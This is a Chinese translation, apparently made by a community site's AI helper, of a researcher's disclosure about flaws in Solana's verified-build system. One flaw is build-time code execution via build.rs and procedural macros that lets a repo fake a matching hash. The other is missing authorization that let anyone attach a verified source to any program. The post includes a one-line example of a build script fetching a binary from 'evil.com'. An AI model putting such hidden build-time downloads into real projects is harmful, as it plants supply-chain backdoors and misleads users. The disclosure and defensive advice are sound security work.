2023年和2024年,研究人员发现Solana验证构建系统存在安全漏洞:首先,通过构建时代码执行(如build.rs)可伪造哈希匹配;其次,缺乏授权机制允许任何人为任意程序提交验证信息。2024年修复了授权问题,但构建时代码执行问题依然存在。文章强调验证构建仅证明特定仓库在特定构建环境下产生了匹配的哈希,并不代表代码安全或仓库可信。建议用户检查提交者身份、仓库和提交哈希、本地重现、审查构建时代码,并注意二进制之外的元数据不可信。
2024 年 11 月 20 日,我们让官方 Solana 浏览器为我们控制的一个仓库显示了一个绿色的 程序源已验证 徽章,而该仓库与它声称要验证的程序毫无关系。
我们选择的目标?正是验证程序本身。
验证程序在 osec API 上被验证..指向我们的仓库
哈希匹配。徽章显示。仓库:我们的。
这并非 Solana 验证构建首次被攻破。我在 2023 年就已经做过一次,当时我在 Neodyme 工作,针对的是旧的 Anchor AVB 系统。同样的漏洞类型,不同的实现,更大的影响。
这篇文章解释了这两次攻击,修复了什么,什么仍然从根本上存在问题,以及为什么这对每个在 Solana 上构建或使用程序的人都至关重要。
Solana 程序在链上以编译后的 SBF 字节码形式存在。这是验证器执行的内容,但不是任何人想读的内容。
当一个团队说“这是我们的源代码”时,自然的问题是:
这个源代码是否真的产生部署在链上的东西?
没有验证构建,你就无法检查。你只能相信一个 GitHub 链接。也许仓库是真的。也许团队是从不同的分支部署的。也许代码在审计后被修改了。也许这完全是一个不同的程序。你无法通过查看链来分辨。
验证构建本应弥补这个差距。Solana 文档将该系统描述为一个管道:它将链上程序的哈希与从公共仓库的特定提交构建的可执行文件的哈希进行比较,并使用基于 Docker 的构建环境来保证确定性。元数据(程序地址、Git URL、提交哈希、构建参数)存储在一个链上的 PDA 中,因此任何人都可以独立地重现验证。Solana 浏览器和 SolanaFM 等浏览器使用围绕此流程的 API 来显示验证状态。
其思维模型很直接:
它是与区块链程序交互时的核心信任根。
但只有在无法让它撒谎时,它才有效。
2023 年,Solana 浏览器有一个 Anchor: 已验证 标签。它来自 Anchor 程序注册表,开发者可以在那里发布源代码并将其链接到已部署的程序。该系统最终被弃用。2023 年 3 月的一个浏览器拉取请求标题就是“移除已验证标签”,注释是“Anchor 程序注册表已弃用。”
旧的 Anchor 可验证构建模型使用 Docker 使构建可重现。正如 Anchor 自己的文档所述,其想法是使用 Solana CLI 构建可能会嵌入特定于机器的代码,因此在具有固定依赖项的 Docker 镜像中构建会产生确定性结果。
我研究了这一点,并注意到设计者没有完全考虑到的某些东西。
表面上看,验证构建听起来像一个纯函数:源代码输入,字节码输出,哈希,比较。干净。
但 Rust 构建并不纯粹。它们会执行代码。
最直接的例子是 build.rs。如果 Cargo 包的根目录包含一个名为 build.rs 的文件,Cargo 会在构建包其余部分之前编译并执行该文件。这并不隐蔽或晦涩。Cargo 文档明确说明构建脚本可以执行任意任务,包括网络访问、代码生成以及通过 Cargo 指令影响编译。
构建脚本是一个完全合法的功能。它们处理代码生成、本地库检测、平台特定配置、protobuf 编译以及数百个其他实际用例。没有人会将其从 Rust 中移除。
但从验证构建的角度来看,这改变了一切。
如果验证器构建不受信任的代码,并且构建过程可以执行任意逻辑,那么源代码不仅仅是构建的输入。它也是在验证器内部运行的代码。
我写了一个概念验证。攻击很简单:
build.rs 的仓库。验证器以为它证明了可读的源代码编译成了链上程序。
它实际上证明了一个更弱的东西:
在验证器内部运行此仓库的构建过程产生了与链上程序相同的字节。
这是两个截然不同的说法。
这是每个人都会提出的第一个反对意见。“只要看看构建脚本。”
当然,如果恶意的 build.rs 位于项目的根目录,并且包含 reqwest::get("evil.com/real_binary"),那么审查仓库的人可能会发现它。
但构建脚本不必在顶层 crate 中。它可以存在于依赖项中。或者依赖项的依赖项中。它可以位于一个名为 solana-program-utils 或 borsh-derive-internal 或看起来完全无害的 crate 中。它可以与合法的构建逻辑结合,使得恶意部分只是一个文件中一行代码,而该文件也完成了真正的工作。
而且构建脚本甚至不是唯一的向量。过程宏具有相同的属性。Rust 参考文档明确说明过程宏在编译期间运行,可以访问与编译器相同的资源,并具有与构建脚本相同的安全顾虑。
因此,Rust 中构建时代码执行的攻击面包括:
build.rs[build-dependencies])一个拥有 200 个依赖项的项目有数百个潜在的构建时代码位置。没有人会在运行 cargo build 之前审计所有这些依赖项。关于依赖项中隐藏代码如何被用作后门的更多信息,请参阅我们的 100 个 Solana 技巧中的第 77 条。
这是第一课。
2023 年问题之后,Anchor 已验证标签已从浏览器中移除。该系统已被弃用。
但根本问题不是“Anchor 的实现很糟糕。”根本问题是 Rust 的构建模型使得纯粹验证变得困难。
当 Solana 验证构建在 2024 年 11 月回归时,它们带来了更好的工具、更好的基础设施和官方集成。该管道现在由 Ellipsis Labs 和 OtterSec 维护,验证 API 由 OtterSec 托管,并由包括 Solana 浏览器在内的浏览器使用。
构建时代码执行问题仍然存在,因为这是 Rust 项目编译方式固有的问题。
但在此基础上还有一个新问题。
当我们测试新系统时,我们发现构建系统的利用仍然有效。这并不令人惊讶。你无法在不破坏真实项目的情况下阻止 build.rs 运行。
令人惊讶的是授权模型。
该系统允许任何人为任何程序提交验证信息。
你可以选择 Solana 上的任何程序:一个 DeFi 协议、一个代币程序、一个桥,任何东西。编写一个能欺骗构建过程生成正确哈希的仓库,将其提交进行验证,然后让官方浏览器将你的仓库显示为已验证的源。
我们没有选择一个随机的测试程序。我们选择了验证程序本身。OtterSec 自己的链上程序,用于存储验证元数据。
我们提交了我们的假仓库。构建器运行了我们的代码。我们的构建脚本确保输出与链上哈希匹配。API 接受了它。浏览器显示了徽章。
程序源已验证。
仓库:accretion-xyz/unverified。
这个讽刺是故意的。
这不是一个抽象的构建系统极客问题。
官方 Solana 浏览器上的已验证构建徽章是一个信任信号。人们会据此行动。钱包会集成它。审计人员用它来查找源。开发者用它来查找 SDK。用户用它来决定某物是否合法。
考虑一下攻击场景:
在浏览器上搜索该程序源的用户会找到你的仓库。它有绿色徽章。上面写着“已验证。”他们没有理由怀疑这不是真正的源。
以下是关键洞察,这使得这个问题比简单的构建系统错误更严重:
仓库不仅仅是构建输入。它是一个信任面。
一个 README 可以在不改变链上程序的情况下窃取资金。一个前端链接可以耗尽钱包。一个恶意 SDK 可以危害每一个安装它的集成者。假文档可以欺骗开发者构造易受攻击的交易。
可执行文件的哈希对这些都没有说明。关于程序元数据信任的相关攻击,请参阅我们关于隐藏 IDL 指令的文章,我们展示了任何人都可以为不受其控制的程序上传假 IDL。
即使在这个攻击的较弱版本中,即仓库确实编译成了正确的程序,随机的第三方也不应该能够覆盖官方浏览器显示的规范源链接。源链接是程序公共身份的一部分。它是用户想要了解他们正在交互的内容时所点击的东西。
所以这个错误实际上是两个问题的叠加:
这个组合是致命的。
验证徽章
我们在同一天披露了这个问题。Solana 基金会进行了调查并修补了系统。
修复解决了授权问题,这是最立即可以被利用的部分。
solana-verifiable-build v0.4.0 的发布说明直接描述了这个问题。它们说 OtterSec API 以前允许任何人通过克隆程序仓库来覆盖程序的验证信息,这可能会误导用户关于协议信息。补丁要求在远程验证开始之前将验证数据写入链上的 PDA,并且验证状态会标记上传者的地址,以便浏览器和应用程序决定什么是规范的。发布说明建议信任由程序的升级权限或 OtterSec 的签名者上传的 PDA。
Solana 验证构建 CLI 的 README 现在说旧的 --remote 流程已弃用,并指示用户在向 OtterSec 的工作节点提交远程验证任务之前,先使用程序的升级权限上传 PDA。
当前的 Solana 文档说,虽然其他人可以验证你的程序,但只有当签名者是程序的升级权限时,验证才被视为有效。
这是对授权问题的正确修复。
该系统现在回答两个问题而不是一个:
如果上传者不是程序权限,浏览器和钱包可以区别对待或完全忽略它。
授权错误已修补。
构建系统信任问题仍然存在。
这不是因为有人忘记了。它之所以存在,是因为 Rust 构建合法地执行代码,你不能在不破坏真实项目的情况下禁用它。
一个正常 Rust 项目的验证构建可能会执行:
一个 Docker 容器给你确定性。它不给你安全性。在容器中运行不受信任的代码仍然意味着运行不受信任的代码。
官方 Solana 文档对此诚实得令人钦佩。它说验证构建不应被视为比未验证构建更安全。它说默认设置并非完全无信任,因为 Docker 镜像由 Solana 基金会构建和托管。它警告项目会被复制到 Docker 镜像中,可能包含敏感信息。它指出对于远程验证,用户在一定程度上信任 OtterSec API 和 Solana 浏览器,并且如果被攻破,任何一个都可能显示错误信息。它明确建议如果你想要更无信任的设置,自己构建 Docker 镜像或本地运行验证。
这是正确的框架。
一个验证构建不是一个意味着“安全”的神奇徽章。
它是一个狭窄的声明:
在此构建环境下,使用此元数据,此仓库产生了一个哈希与链上程序匹配的可执行文件。
这很有用。但它比大多数用户在看到一个绿色勾号时所假设的要弱。
如果你依靠验证构建来做安全决策,作为用户、审计人员、集成商或钱包开发者,以下是重要内容的精炼版本。
检查谁做了声明。 最重要的问题不是“是否有验证?”而是“谁提交了它?”规范的验证应来自程序的升级权限或你明确信任的签名者。Solana 部署文档将升级权限定义为可以更新或关闭程序的账户;使用 --final 标志移除它会使程序不可变。(Solana)如果验证者是某个随机地址,请对验证持怀疑态度。关于构建和保障这些权限的完整框架,请参阅我们关于设计更好的权限结构的文章。
检查确切的仓库和提交。 不要只看 GitHub 组织名称。验证仓库 URL、提交哈希、该提交是否属于官方项目、仓库是否最近创建以及它是否链接到项目的真实域名和沟通渠道。
在本地重现。 文档描述了使用 solana-verify verify-from-repo 命令,并指定程序 ID、仓库 URL 和提交哈希的本地验证流程。(Solana)在一次性环境中运行此命令。不要在带有钱包密钥、部署密钥或生产凭证的机器上运行。记住:构建将执行该仓库中的代码。
检查构建时代码。 在信任源代码解释了二进制文件之前,检查构建过程中运行了什么。查找 build.rs、过程宏 crate、[build-dependencies]、生成的代码、原生构建步骤、已供应的 blob 以及不寻常的依赖补丁或 git 依赖。大多数构建脚本都很无聊。但如果你的目标是了解可读代码是否实际产生了二进制文件,构建时执行正是隐藏差距的地方。
将二进制文件之外的所有内容视为不受信任。 哈希验证涵盖可执行文件。它没有说明 README、前端链接、SDK、npm 包、设置说明或 Discord 链接。那些是单独的信任面。一个仓库可以通过验证,但仍然包含恶意的链外内容。
有一些东西可以泛化到 Solana 之外。
编译不是被动的。 现代构建系统会执行代码。将每个验证构建视为在容器中运行攻击者提供的逻辑。围绕这个假设进行设计。
可重现性和授权是分开的问题。 第三方可以重现一个构建。但这并不意味着他们应该被允许将规范的仓库链接附加到别人的程序上。你能构建某物并不赋予你对其公共身份的权威。
沙箱必须是真正的沙箱。 无 root。除非明确需要,否则无网络。无主机秘密。最小镜像。难以篡改的产物路径。输出验证不应只是检查文件是否存在。
二进制文件之外的元数据仍然重要。 一个已验证的可执行文件哈希并不能保护用户免受恶意 README、钓鱼前端或被攻陷的 SDK 的侵害。显示源链接的验证系统应该区分“此构建匹配”和“此仓库得到程序所有者的认可。”
UI 应该暴露信任模型。 不要只说“已验证。”说明是谁验证的。显示该签名者是否是程序权限。显示提交。显示程序是否可升级。让用户做出明智的决定,而不是相信一个绿色徽章。
我们认为 Solana 需要验证构建。我们不是在试图扼杀这个系统。我们测试它是因为我们希望它变得更好。
验证构建之前的状态更糟糕:用户信任随机的 GitHub 链接和项目文档,这些与链上程序没有任何密码学关系。验证构建是将字节码连接到源代码的正确工具。
但它们是安全关键的基础设施。当浏览器显示一个徽章时,用户会信任它。当钱包集成验证数据时,它成为签名流程的一部分。当审计人员使用已验证的源作为起点时,它成为安全供应链的一部分。
2023 年,我攻破了 Solana 验证构建,因为构建环境执行了来自被验证仓库的不受信任代码。源代码可以让构建撒谎。
2024 年,我们在 Accretion 攻破了新系统,因为任何人都可以将误导性的验证元数据附加到他们不控制的程序上。授权缺失了。
授权错误已修复。尽管官方发布说明承认了这个问题,但没有支付任何赏金。没关系。我们这样做不是为了钱。
构建时执行问题是一个更深的约束,只要 Rust 还有构建脚本和过程宏,它就不会消失。这不是当前维护者的失败。这是一个难题,需要用户理解“已验证”实际上意味着什么。
一个验证构建意味着:此仓库,在此提交,在此构建过程中,产生了此哈希。
它并不意味着代码是安全的。它并不意味着仓库是值得信赖的。它并不意味着 README 是诚实的。它并不意味着前端是真实的。
这个徽章很有用。
只要知道它实际上证明了什么。
- 原文链接: accretion.xyz/blog/verif...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!
作者暂未设置收款二维码